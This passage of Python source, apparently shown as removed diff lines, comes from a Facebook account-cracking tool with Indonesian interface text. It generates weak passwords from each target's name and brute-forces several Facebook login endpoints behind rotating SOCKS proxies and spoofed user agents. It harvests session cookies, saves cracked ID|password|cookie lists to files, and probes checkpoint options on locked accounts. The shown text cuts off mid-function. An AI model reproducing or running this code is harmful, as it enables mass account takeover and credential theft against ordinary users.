- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- def sulap():
- global prog,des
- print('')
- print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
- print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
- print(f'{B}• {P}crack mengunakan password manual')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- def babi():
- global prog,des
- print('')
- print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
- print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
- # print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'321')
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'321')
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- #--------------------[ METODE-B-API ]-----------------#
- def crack(idf,pwv):
- global loop,ok,cp
- bo = random.choice([b,B])
- sys.stdout.write(f"\r{P} [CRACK] {loop}|OK-{ok}|CP-{cp}")
- sys.stdout.flush()
- # sys.stdout.write(f"\r{B}[{B}{loop}{B}] {B}[{B}{len(id)}{B}] OK:{B}[1{ok}{B}] CP:{B}[{B}{cp}{B}]"),
- sys.stdout.flush()
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks4://'+nip}
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- print(f'{Z}[LHI-CP] {idf}|{pw}')
- #print(f'\n{P}')
- # sokgg=f'\rID : {idf}\nPASSWORD : {pw}'
- # soklu = nel(sokgg, style='cyan')
- # cetak(nel(soklu,style='cyan',title='[cyan]• CHECKPOINTS •'))
- # print(f'\n{P} nomor : {K}{idf}')
- # print(f'{P} sandi : {K}{pw}')
- open('fbcp.txt','a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print(f'{H}[LHI-OK] {idf}|{pw}')
- # print(f'{P}')
- # print('\n')
- # sokgg=f'\r[cyan]ID : {idf}\nPASSWORD : {pw}\nCOKIE : {kuki}'
- # soklu = nel(sokgg, style='cyan')
- # cetak(nel(soklu,style='cyan',title='[cyan]• SUCCESS •'))
- # print(f'\n{P} nomor : {H}{idf}')
- # print(f'{P} sandi : {H}{pw}')
- # print(f'{P} cookie: {H}{kuki}')
- open('fbok.txt','a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #------------------[ METHODE-MBASIC-2 ]-------------------#
- def crackfree(idf,pwv):
- global loop,ok,cp
- sys.stdout.write(f"\r{H}[{H}{loop}{H}]{H}{len(id)}{h}]—{ah}[{H}{ok}{H}]—{H}[{H}{cp}{H}]—[{H}{'{:.0%}'.format(loop/float(len(id)))}{H}] "),
- sys.stdout.flush()
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- for pw in pwv:
- try:
- ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
- po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- luxdev=f'\rNOMOR : {idf}\nSANDI : {pw}\nAGENT : {ua}'
- luxgg = nel(luxdev, style='yellow')
- print('\n')
- cetak(nel(luxgg,style='',title='LUXINE-CHECKPOINT'))
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- luxdev=f'\rNOMOR : {idf}\nSANDI : {pw}\nCOKIE : {kuki}'
- luxgg = nel(luxdev, style='green')
- cetak(nel(luxgg,style='',title='LUXINE-SUCEES'))
- open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #---------------------[ METHODE-TOUCH-3 ]---------------------#
- def cracktouch(idf,pwv):
- global loop,ok,cp
- bi = random.choice([u,k,kk,b,h,hh])
- pers = loop*100/len(id2)
- fff = '%'
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
- for pw in pwv:
- try:
- ses.headers.update({'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://touch.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://touch.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
- po = ses.post('https://touch.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- if 'ya' in oprek:
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- elif 'ya' in princp:
- print('\n')
- statuscp = f'[•] ID : {idf} [•] PASSWORD : {pw}'
- statuscp1 = nel(statuscp, style='red')
- cetak(nel(statuscp1, title='AOREC-XD CP'))
- open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- else:continue
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
- if 'no' in taplikasi:
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- print('\n')
- statusok = f'[•] ID : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES : {kuki}'
- statusok1 = nel(statusok, style='green')
- cetak(nel(statusok1, title='AOREC-XD OK'))
- ok+=1
- break
- elif 'ya' in taplikasi:
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- user=idf
- infoakun = ""
- session = requests.Session()
- cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
- cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
- infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
- apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
- nok=1
- for muncul in apkaktif:
- infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
- nok+=1
- hit=0
- infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
- apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
- hit=0
- for muncul in apkexp:
- hit+=1
- infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
- print('\n')
- statusok = f'[bold green][•] ID : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES : {kuki}[/bold green]\n{infoakun}'
- statusok1 = nel(statusok, style='green')
- cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
- ok+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------------------[ METHODE-MTOUCH+MOBILE-4 ]-----------------#
- def crackmbasic(idf,pwv):
- global loop,ok,cp
- bi = random.choice([u,k,kk,b,h,hh])
- pers = loop*100/len(id2)
- fff = '%'
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
- for pw in pwv:
- try:
- ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
- po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- if 'ya' in oprek:
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- elif 'ya' in princp:
- print('\n')
- statuscp = f'[•] ID : {idf} [•] PASSWORD : {pw}'
- statuscp1 = nel(statuscp, style='red')
- cetak(nel(statuscp1, title='AOREC-XD CP'))
- open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- else:continue
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
- if 'no' in taplikasi:
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- print('\n')
- statusok = f'[•] ID : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES : {kuki}'
- statusok1 = nel(statusok, style='green')
- cetak(nel(statusok1, title='OK'))
- ok+=1
- break
- elif 'ya' in taplikasi:
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- user=idf
- infoakun = ""
- session = requests.Session()
- cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
- cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
- infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
- apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
- nok=1
- for muncul in apkaktif:
- infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
- nok+=1
- hit=0
- infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
- apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
- hit=0
- for muncul in apkexp:
- hit+=1
- infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
- print('\n')
- statusok = f'[bold green][•] ID : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES : {kuki}[/bold green]\n{infoakun}'
- statusok1 = nel(statusok, style='green')
- cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
- ok+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #--------------------[ CHECK-OPSI-CHEKPOINT ]-------------------#
- def ceker(idf,pw):
- global cp
- ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.128 Safari/537.36 FBMF/HUAWEI;FBBD/HUAWEI;FBPN/com.facebook.services;FBDV/EVR-L29;FBSV/10;FBLR/0;FBBK/1;FBCA/arm64-v8a:;]'
- head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- ses = requests.Session()
- try:
- hi = ses.get('https://mbasic.facebook.com')
- ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
- jo = ho.find('form')
- data = {}
- lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
- for anj in jo('input'):
- if anj.get('name') in lion:
- data.update({anj.get('name'):anj.get('value')})
- kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
- print('\r%s++++ %s|%s ----> CP %s'%(b,idf,pw,x))
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- cp+=1
- opsi = kent.find_all('option')
- if len(opsi)==0:
- print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
- else:
- for opsii in opsi:
- print('\r%s---> %s%s'%(kk,opsii.text,x))
- except Exception as c:
- print('\r%s++++ %s|%s ----> CP %s'%(b,idf,pw,x))
- print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- cp+=1
- #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------#
- def cek_opsi():
- c = len(akun)
- hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c)
- cetak(nel(hu, title='CEK OPSI'))
- input(x+'['+h+'•'+x+'] Mulai')
- cek = '# PROSES CEK OPSI DIMULAI'
- sol().print(mark(cek, style='green'))
- love = 0
- for kes in akun:
- try:
- try:
- id,pw = kes.split('|')[0],kes.split('|')[1]
- except IndexError:
- time.sleep(2)
- print('\r%s++++ %s ----> Error %s'%(b,kes,x))
- print('\r%s---> Pemisah Tidak Didukung Untuk Program Ini%s'%(u,x))
- continue
- bi = random.choice([u,k,kk,b,h,hh])
- print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush()
- ua = 'Mozilla/5.0 (Linux; Android 11; TECNO KD8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4755.101 Mobile Safari/537.36'
- ses = requests.Session()
- header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- hi = ses.get('https://mbasic.facebook.com')
- ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser')
- if "checkpoint" in ses.cookies.get_dict().keys():
- try:
- jo = ho.find('form')
- data = {}
- lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
- for anj in jo('input'):
- if anj.get('name') in lion:
- data.update({anj.get('name'):anj.get('value')})
- kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser')
- print('\r%s++++ %s|%s ----> CP %s'%(b,id,pw,x))
- opsi = kent.find_all('option')
- if len(opsi)==0:
- print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
